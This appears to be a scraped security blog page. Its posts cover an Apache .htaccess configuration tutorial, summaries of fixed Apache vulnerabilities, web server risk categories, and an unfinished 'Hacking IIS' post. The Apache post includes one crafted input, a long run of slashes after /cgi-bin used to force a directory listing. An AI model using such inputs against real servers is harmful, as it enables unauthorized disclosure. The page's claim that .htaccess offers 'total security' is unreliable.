Introduction</h3>
<br />
In the last part I introduced you to .htaccess and some of its useful  features. In this part I will show you how to use the .htaccess file to  implement some of these.<br />
<br />
<h3 style="color: #000099;">
Stop A Directory Index From Being Shown</h3>
<br />
Sometimes, for one reason or another, you will have no index file in  your directory. This will, of course, mean that if someone types the  directory name into their browser, a full listing of all the files in  that directory will be shown. This could be a security risk for your  site.<br />
<br />
To prevent against this (without creating lots of new 'index' files, you  can enter a command into your .htaccess file to stop the directory list  from being shown:<br />
<div class="system">
Options -Indexes </div>
<br />
<h3 style="color: #000099;">
Deny/Allow Certian IP Addresses</h3>
In some situations, you may want to only allow people with specific IP  addresses to access your site (for example, only allowing people using a  particular ISP to get into a certian directory) or you may want to ban  certian IP addresses (for example, keeping disruptive memembers out of  your message boards). Of course, this will only work if you know the IP  addresses you want to ban and, as most people on the internet now have a  dynamic IP address, so this is not always the best way to limit usage.<br />
<br />
You can block an IP address by using: <br />
<div class="system pop">
deny from 000.000.000.000</div>
  where <br />
<div class="highlight">
000.000.000.000</div>
is the IP address. If you only specify 1 or 2 of the groups of numbers, you will block a whole range.<br />
<br />
You can allow an IP address by using: <br />
<div class="system pop">
allow from 000.000.000.000</div>
  where <br />
<div class="highlight">
000.000.000.000</div>
is the IP address. If you only specify 1 or 2 of the groups of numbers, you will allow a whole range.<br />
<br />
If you want to deny everyone from accessing a directory, you can use:<br />
<div class="system pop">
deny from all</div>
 but this will still allow scripts to use the files in the directory.<br />
<br />
<h3 style="color: #000099;">
Alternative Index Files</h3>
<br />
You may not always want to use index.htm or index.html as your index  file for a directory, for example if you are using PHP files in your  site, you may want index.php to be the index file for a directory. You  are not limited to 'index' files though. Using .htaccess you can set  foofoo.blah to be your index file if you want to!<br />
<br />
Alternate index files are entered in a list. The server will work from  left to right, checking to see if each file exists, if none of them  exisit it will display a directory listing (unless, of course, you have  turned this off).<br />
<br />
<div class="content shadow-radial">
DirectoryIndex index.php index.php3 <a href="http://messagebrd.pl/" target="_blank">messagebrd.pl</a> index.html index.htm</div>
<br />
<br />
<h3 style="color: #000099;">
Redirection</h3>
<br />
One of the most useful functions of the .htaccess file is to redirect  requests to different files, either on the same server, or on a  completely different web site. It can be extremely useful if you change  the name of one of your files but allow users to still find it. Another  use (which I find very useful) is to redirect to a longer URL, for  example in my newsletters I can use a very short URL for my affiliate  links. The following can be done to redirect a specific file:<br />
<div class="content shadow-radial">
Redirect /location/from/root/file.ext <a href="http://www.othersite.com/new/file/location.xyz" target="_blank">http://www.othersite.com/new/file/location.xyz</a></div>
<br />
<br />
In this above example, a file in the root directory called oldfile.html would be entered as:<br />
<div class="content shadow-radial">
/oldfile.html  and a file in the old subdirectory would be entered as:  /old/oldfile.html</div>
<br />
You can also redirect whole directoires of your site using the .htaccess  file, for example if you had a directory called olddirectory on your  site and you had set up the same files on a new site at:  <a href="http://www.newsite.com/newdirectory/" target="_blank">http://www.newsite.com/newdirectory/</a> you could redirect all the files in  that directory without having to specify each one:<br />
<div class="content shadow-radial">
Redirect /olddirectory <a href="http://www.newsite.com/newdirectory" target="_blank">http://www.newsite.com/newdirectory</a></div>
<br />
Then, any request to your site below /olddirectory will bee redirected to the new site, with the extra information in the URL added on, for example if someone typed in:<br />
<br />
<span class="system pop"><a href="http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif" target="_blank">http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif</a></span><br />
They would be redirected to:<br />
<span class="system pop"><br />
<a href="http://www.newsite.com/newdirectory/oldfiles/images/image.gif" target="_blank">http://www.newsite.com/newdirectory/oldfiles/images/image.gif</a></span><br />
This can prove to be extremely powerful if used correctly.<br />
<br />
<h3 style="border: none;">
<a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Part3"></a>Part 3 - Password Protection</h3>
<br />
<h3 style="color: #000099;">
Introduction</h3>
<br />
Although there are many uses of the .htaccess file, by far the most  popular, and probably most useful, is being able to relaibly password  protect directories on websites. Although JavaScript etc. can also be  used to do this, only .htaccess has total security (as someone must know  the password to get into the directory, there are no 'back doors')<br />
<br />
<h3 style="color: #000099;">
The .htaccess File</h3>
<br />
Adding password protection to a directory using .htaccess takes two  stages. The first part is to add the appropriate lines to your .htaccess  file in the directory you would like to protect. Everything below this  directory will be password protected:<br />
<div class="content shadow-radial">
AuthName "Section Name"<br />
AuthType Basic<br />
AuthUserFile /full/path/to/.htpasswd<br />
Require valid-user</div>
<br />
There are a few parts of this which you will need to change for your  site. You should replace "Section Name" with the name of the part of the  site you are protecting e.g. "Members Area".<br />
<br />
The /full/parth/to/.htpasswd should be changed to reflect the full  server path to the .htpasswd file (more on this later). If you do not  know what the full path to your webspace is, contact your system  administrator for details.<br />
<br />
<h3 style="color: #000099;">
The .htpasswd File</h3>
<br />
Password protecting a directory takes a little more work than any of the  other .htaccess functions because you must also create a file to  contain the usernames and passwords which are allowed to access the  site. These should be placed in a file which (by default) should be  called .htpasswd. Like the .htaccess file, this is a file with no name  and an 8 letter extension. This can be placed anywhere within you  website (as the passwords are encrypted) but it is advisable to store it  outside the web root so that it is impossible to access it from the  web.<br />
<br />
<h3 style="color: #000099;">
Entering Usernames And Passwords</h3>
<br />
Once you have created your .htpasswd file (you can do this in a standard  text editor) you must enter the usernames and passwords to access the  site. They should be entered as follows:<br />
<div class="content shadow-radial">
username:password</div>
where the password is the encrypted format of the password. To encrypt  the password you will either need to use one of the premade scripts  available on the web or write your own. There is a good  username/password service at the KxS site which will allow you to enter  the user name and password and will output it in the correct format.<br />
<br />
For multiple users, just add extra lines to your .htpasswd file in the  same format as the first. There are even scripts available for free  which will manage the .htpasswd file and will allow automatic  adding/removing of users etc.<br />
<br />
<h3 style="color: #000099;">
Accessing The Site</h3>
<br />
When you try to access a site which has been protected by .htaccess your  browser will pop up a standard username/password dialog box. If you  don't like this, there are certain scripts available which allow you to  embed a username/password box in a website to do the authentication. You  can also send the username and password (unencrypted) in the URL as  follows:<br />
<span style="color: blue;"><br />
<a href="http://www.website.com/directory/" target="_blank">http://username:password@www.website.com/directory/</a><br />
</span><br />
<h3 style="color: #000099;">
Summary</h3>
<br />
.htaccess is one of the most useful files a webmaster can use. There are  a wide variety of different uses for it which can save time and  increase security on your website.</div>

Apache Hosting htaccess Linux Linux Tutorials OS Server .htaccess Tutorial

Part 1 - Introduction Part 2 - .htaccess Commands Part 3 - Password Protection Introduction In this tutorial you will find out ...

Hack Apache based Web Servers

11/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBvCx-rmtWhaBWR7HocptgDvTugMFlLWJqKKU-dxLrqom7lEgGqVrEPKLF8rMK7pX8pWGjl-YncFF7zftBqzd8P0_8-k7pOZqtSIxm0nWSoMlBvhpMDjpIdJpW8Utt3aU01_WLiuTPNFAE/s1600/apache_vulnerability_dos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBvCx-rmtWhaBWR7HocptgDvTugMFlLWJqKKU-dxLrqom7lEgGqVrEPKLF8rMK7pX8pWGjl-YncFF7zftBqzd8P0_8-k7pOZqtSIxm0nWSoMlBvhpMDjpIdJpW8Utt3aU01_WLiuTPNFAE/s1600/apache_vulnerability_dos.png" /></a></span></div>
<h3 class="post-title entry-title" style="color: #444444; font-family: "Arial", "Tahoma", "Helvetica", "FreeSans", sans-serif; font-size: 22px; font-style: normal; font-variant: normal; font-weight: 700; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; position: relative;">
</h3>
<h3 class="post-title entry-title" style="color: #444444; font-family: "Arial", "Tahoma", "Helvetica", "FreeSans", sans-serif; font-size: 22px; font-style: normal; font-variant: normal; font-weight: 700; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; position: relative;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;">Apache Vulnerability: Hack Apache based Web Servers</span></h3>
<div class="post-header" style="line-height: 1.6; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"></span></span><br />
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><span class="sidebar-title"><b></b></span></span></span><br />
<center>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><span class="sidebar-title"><b>Apache Vulnerability</b></span></span></span></center>
<br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><br /></span></span>
<br />
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-color: transparent; border-bottom-style: none; border-bottom-width: 1px; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">  <div class="first-para">
The Apache Week tracks the vulnerabilities in Apache Server. Even Apache  has its share of bugs and fixes.</div>
</span></span></li>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">
<li class="listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-color: rgb(238, 238, 238); border-top-style: none; border-top-width: 1px; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
For instance, consider the vulnerability which was found in the Win32 port of Apache 1.3.20.</div>
<ul class="simple-list" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
Long URLs passing through the mod_negative, mod_dir and mode_autoindex modules could cause Apache to list directory contents.</div>
</li>
</ul>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-color: transparent; border-bottom-style: none; border-bottom-width: 1px; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
The concept is simple but requires a few trial runs.</div>
</li>
<li class="listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-color: rgb(238, 238, 238); border-top-style: none; border-top-width: 1px; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
A URL with a large number of trailing slashes:</div>
<ul class="simple-list" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
/cgi-bin /////////////////////////// / could produce directory listing of the original directory.</div>
</li>
</ul>
</li>
</ul>
</li>
</span></span></ul>
</div>
<table border="0" cellpadding="0" cellspacing="0" class="BlankSpace"><tbody>
<tr><td height="16"></td></tr>
</tbody></table>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">The purpose of discussing the various vulnerabilities of the web server here is to highlight how ingenious attackers can be in exploring the functionality of the various components that they are able to elicit an unexpected and previously unknown behavior of a piece of code. No matter how insignificant it is, a security breach can have far reaching implications if left unattended.</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">This is not the only issue in focus. The possibility of eliminating flawed coding practices and incorporating proper testing must not be ignored as security measures.</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">The Apache Week tracks the vulnerabilities in Apache Server. For instance, consider the vulnerability which was found in the Win32 port of Apache 1.3.20. Because of this, a client submitting a very long URI could cause a directory listing to be returned rather than the default index page. This was subsequently fixed in Apache httpd 1.3.22</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><br /></span></span></div>
<table border="0" cellpadding="0" cellspacing="0" class="note"><tbody>
<tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para">
<b>Some of the other vulnerabilities have been:</b></div>
</td></tr>
</tbody></table>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Remote DoS via IPv6</i>: When a client requests that proxy ftp connect to an ftp server with IPv6 address, and the proxy is unable to create an IPv6 socket, an infinite loop occurs causing a remote Denial of Service. This has been fixed in Apache httpd 2.0.47</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Remote DoS with multiple Listen directives</i>: In a server with multiple listening sockets a certain error returned by accept () on a rarely access port can cause a temporary denial of service, due to a bug in the prefork MPM. This has been fixed in Apache httpd 2.0.47</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">APR remote crash</i>: A vulnerability in the apr_psprintf function in the Apache Portable Runtime (APR) library allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via long strings, as demonstrated using XML objects to mod_dav, and possibly other vectors. This has been fixed in Apache httpd 2.0.46</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Basic Authentication DoS</i>: A build system problem in Apache 2.0.40 through 2.0.45 allows remote attackers to cause a denial of access to authenticated content when a threaded server is used. This has been fixed in Apache httpd 2.0.46</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Line feed memory leak DoS</i>: Apache 2.0 versions before Apache 2.0.45 have a significant Denial of Service vulnerability. Remote attackers can cause a denial of service (memory consumption) via large chunks of linefeed characters, which causes Apache to allocate 80 bytes for each linefeed. This has been fixed in Apache httpd 2.0.45</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">MSDOS device names cause DoS</i>: Apache versions before 2.0.44 on Windows do not correctly filter MS-DOS device names which can lead to denial of service attacks and remote code execution. This has been fixed in Apache httpd 2.0.44</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Apache can serve unexpected files</i>: On Windows platforms Apache could be forced to serve unexpected files by appending illegal characters such as '<' to the request URL. This has been fixed in Apache httpd 2.0.44</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Rewrite rules that include references allow access to any file</i>: The Rewrite module, mod_rewrite, can allow access to any file on the web server. The vulnerability occurs only with certain specific cases of using regular expression references in Rewrite Rule directives: If the destination of a Rewrite Rule contains regular expression references then an attacker will be able to access any file on the server. This has been fixed in Apache httpd 1.3.14</span></span></div>
</div>
</div>
<div style="text-align: justify;">
<br /></div>
<br /></div>

Apache DOS Hacking Hacking Tutorials Linux Tutorials Server Tutorials Vulnerability Hack Apache based Web Servers

Apache Vulnerability: Hack Apache based Web Servers Apache Vulnerability The Apache Week tracks the vulnerabilitie...

Popular Web Servers : Hacking Web Servers

11/27/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8Wsar8QnZKYzupW_QVFoFesAX_3SJrnOV2P3aV2ddmnmFtUCz5F4OUss3bwN7yBz0X6AhLLsmEBs2Ag_qBc43PegiUfPK4BesbYHE9oWQ5xGBlTE73t8cEAh6DMJBOSf1Oh1Or7X1eQ9/s1600/Server-Hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8Wsar8QnZKYzupW_QVFoFesAX_3SJrnOV2P3aV2ddmnmFtUCz5F4OUss3bwN7yBz0X6AhLLsmEBs2Ag_qBc43PegiUfPK4BesbYHE9oWQ5xGBlTE73t8cEAh6DMJBOSf1Oh1Or7X1eQ9/s320/Server-Hacking.jpg" width="320" /></a></div>
<br />
The popular web servers are Apache Web Server, Internet Information Server and Sun ONE Web Server.<br />
The Apache Web Server is an open-source web server for modern operating systems including UNIX and Windows NT. The server provides HTTP services in sync with the current HTTP standards in an efficient and extensible environment.<br />
<br />
The Java Web Server / Sun ONE Web Server is one of the other highly available Web servers on the market. Microsoft's Internet Information Server is another popular server used by a sizable percentage of websites.<br />
<table border="0" cellpadding="0" cellspacing="0" class="note"><tbody>
<tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><br />
Threat</td><td class="admon-body" valign="top"><br />
<b class="bold">Common Security Risks</b><br />
<br />
Let us take a look at some of the security concerns that arise in the context of web servers. There are inherent security risks that affect web servers, the local area networks that host these web sites, and perhaps even the normal users of web browsers.</td></tr>
</tbody></table>
<br />
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
Webmaster's Concern</h4>
<br />
From a webmaster's perspective, the biggest security concern is that the web server can expose the local are network or the corporate intranet to the threats posed by the Internet. This may be in the form of virus, Trojans, hackers or compromise of information itself. It is often considered that software bugs present in large complex programs are the source of imminent security lapses. Web servers, being large complex devices do come with these inherent risks. Apart from this, the open architecture of some Web servers allows arbitrary scripts to be executed on the server's side of the connection in response to remote requests. Any CGI script installed at the site may contain bugs that are potential security holes.</div>
<br />
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
Network Administrator's Concern</h4>
<div class="first-para">
From a network administrator's perspective, a poorly configured web server poses another potential hole in the local network's security. While the objective of a web site is to provide controlled access to the network, too much of control can make a Web site impossible to use. In an intranet environment, the network administrator has to careful about configuring the web server such that legitimate users are recognized and authenticated and various groups of users assigned distinct access privileges.</div>
</div>
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
End User's Concern</h4>
<div class="first-para">
Usually the end user does not perceive any immediate threat, as surfing the web appears both safe and anonymous. However, active content, such as ActiveX controls and Java applets, makes it possible for harmful applications such as viruses to invade the user's system. Besides, active content from a web browser can be a conduit for malicious software to bypass the firewall system and permeate the local area network.</div>
<div class="last-para">
The threat for the end user stems from the fact that the TCP/IP protocol was not designed with security as its foremost priority. Therefore, data can be compromised in terms of confidentiality, authentication, and integrity as it is transmitted across the Web. In essence the aspects of confidentiality, authentication, and integrity need to be guarded both on the client side and server side to the extent possible.</div>
</div>
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
Risks</h4>
<div class="first-para">
There are basically three overlapping types of risk:</div>
<ol class="orderedlist">
<li class="first-listitem" style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  <div class="first-para">
Bugs /misconfiguration problems in the Web server that allow unauthorized remote users to:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Steal classified information.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Execute commands on the server host machine and modifying the system.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Retrieve host based information to assist them in compromising the system.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Launch denial-of-service attacks, rendering the machine temporarily unusable.</div>
</li>
</ul>
</li>
<li class="listitem" style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  <div class="first-para">
Browser-side risks</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Active content that crashes the browser, damages the user's system, breaches the user's privacy, or merely creates a disturbance.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The misuse of personal information provided by the end-user.</div>
</li>
</ul>
</li>
<li class="listitem" style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  <div class="first-para">
Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server including:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The network on the browser's side of the connection.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The network on the server's side of the connection (including intranets).</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The end-user's Internet service provider (ISP).</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The server's ISP or regional access provider.</div>
</li>
</ul>
</li>
</ol>
</div>
</div>

Hacking Risks Server Vulnerability Popular Web Servers : Hacking Web Servers

The popular web servers are Apache Web Server, Internet Information Server and Sun ONE Web Server. The Apache Web Server is an open-so...

How Web Servers Work

11/24/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBohWpJpmpIWdoa1iO1WV6923oZxde69G_NubVR3Sa5pAn8vK6KBo9mQ56ZXoPMRsOeiRxnVt0ZCSyOlgtWoM0_ZnD71RuHNj_ne2xQ5A896KYcgNdWrA5hmf0QqRQyYbwDR_c6zW6kVrK/s1600/IC195330.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBohWpJpmpIWdoa1iO1WV6923oZxde69G_NubVR3Sa5pAn8vK6KBo9mQ56ZXoPMRsOeiRxnVt0ZCSyOlgtWoM0_ZnD71RuHNj_ne2xQ5A896KYcgNdWrA5hmf0QqRQyYbwDR_c6zW6kVrK/s320/IC195330.gif" width="295" /></a></div>
<br />
Let us take a look at the basic working of a web server. What happens when you type <a href="http://rahlabs.blogspot.in/p/contact-us.html">http://rahlabs.blogspot.in/</a><br />
in your browser?<br />
<ul>
<li>The browser differentiates the URL into three parts:<br />
<ol>
<li>The protocol ("<div class="highlight">
http</div>
")</li>
<li>The server name (<a href="http://rahlabs.blogspot.com/">rahlabs.blogspot.com</a>)</li>
<li>The file name ("<div class="highlight">
contact-us.html</div>
")</li>
</ol>
</li>
<li> The browser initiates the connection by communicating with a name server to translate the server name <a href="http://rahlabs.blogspot.com/">rahlabs.blogspot.com</a> into a valid IP Address.</li>
<li>It then uses this IP address to connect to the target web server machine.</li>
<li>The browser then establishes a connection to the web server at the specific IP address on port 80. This is the default port. (It can be any other port as well)</li>
<li> According to the HTTP protocol, the browser sends a GET request to the server, to retrieve the file "<a href="http://rahlabs.blogspot.in/p/contact-us.html">http://rahlabs.blogspot.in/p/contact-us.html</a>"</li>
<li>The web server then sends the HTML text for the particular Web page to the browser.</li>
<li>The browser reads the HTML tags and formats the page on the user's screen.</li>
</ul>
<br />
Other HTTP methods like POST, PUT, are used in subsequent communications if needed. The response from the server includes the HTTP response code suitable for the result of the request. In the case of successful data retrieval, an HTTP 200 OK response is generated. Other HTTP response codes exist: common ones include 404 Not Found, 403 Access Denied, and 302 Object Moved (often used to redirect requests to a login page to authenticate a user).<br />
<br />
<b></b><br />
<center>
<b>Popular Web Servers and Common Security Threats</b></center>
<br />
<ul>
<li>Apache Web Server</li>
<li>IIS Web Server</li>
<li>Sun ONE Web Server</li>
</ul>
<b>Bugs or Web Server Misconfiguration.</b><br />
<ul>
<li>Browser-Side or Client Side Risks.</li>
<li>Sniffing</li>
<li>Denial of Service Attack.</li>
</ul>
</div>

Linux Linux Tutorials OS Server How Web Servers Work

Let us take a look at the basic working of a web server. What happens when you type http://rahlabs.blogspot.in/ in your browser? The ...

Hacking IIS

11/21/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWnj39bEwTIgiQpguaTS_CyfOb3JAtltv0JJa1j86ltv5w7N709cxJx4P1uyMQ1IhKF71aLeaenb4HHIWOfHY_Gb3ChoRymhOdVWrvEJzS7GDR_7JrGwPo7qemdU9LcRN97Dyy9oclT1k/s1600/unledusi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWnj39bEwTIgiQpguaTS_CyfOb3JAtltv0JJa1j86ltv5w7N709cxJx4P1uyMQ1IhKF71aLeaenb4HHIWOfHY_Gb3ChoRymhOdVWrvEJzS7GDR_7JrGwPo7qemdU9LcRN97Dyy9oclT1k/s640/unledusi.jpg" width="640" /></a></div>
<center>
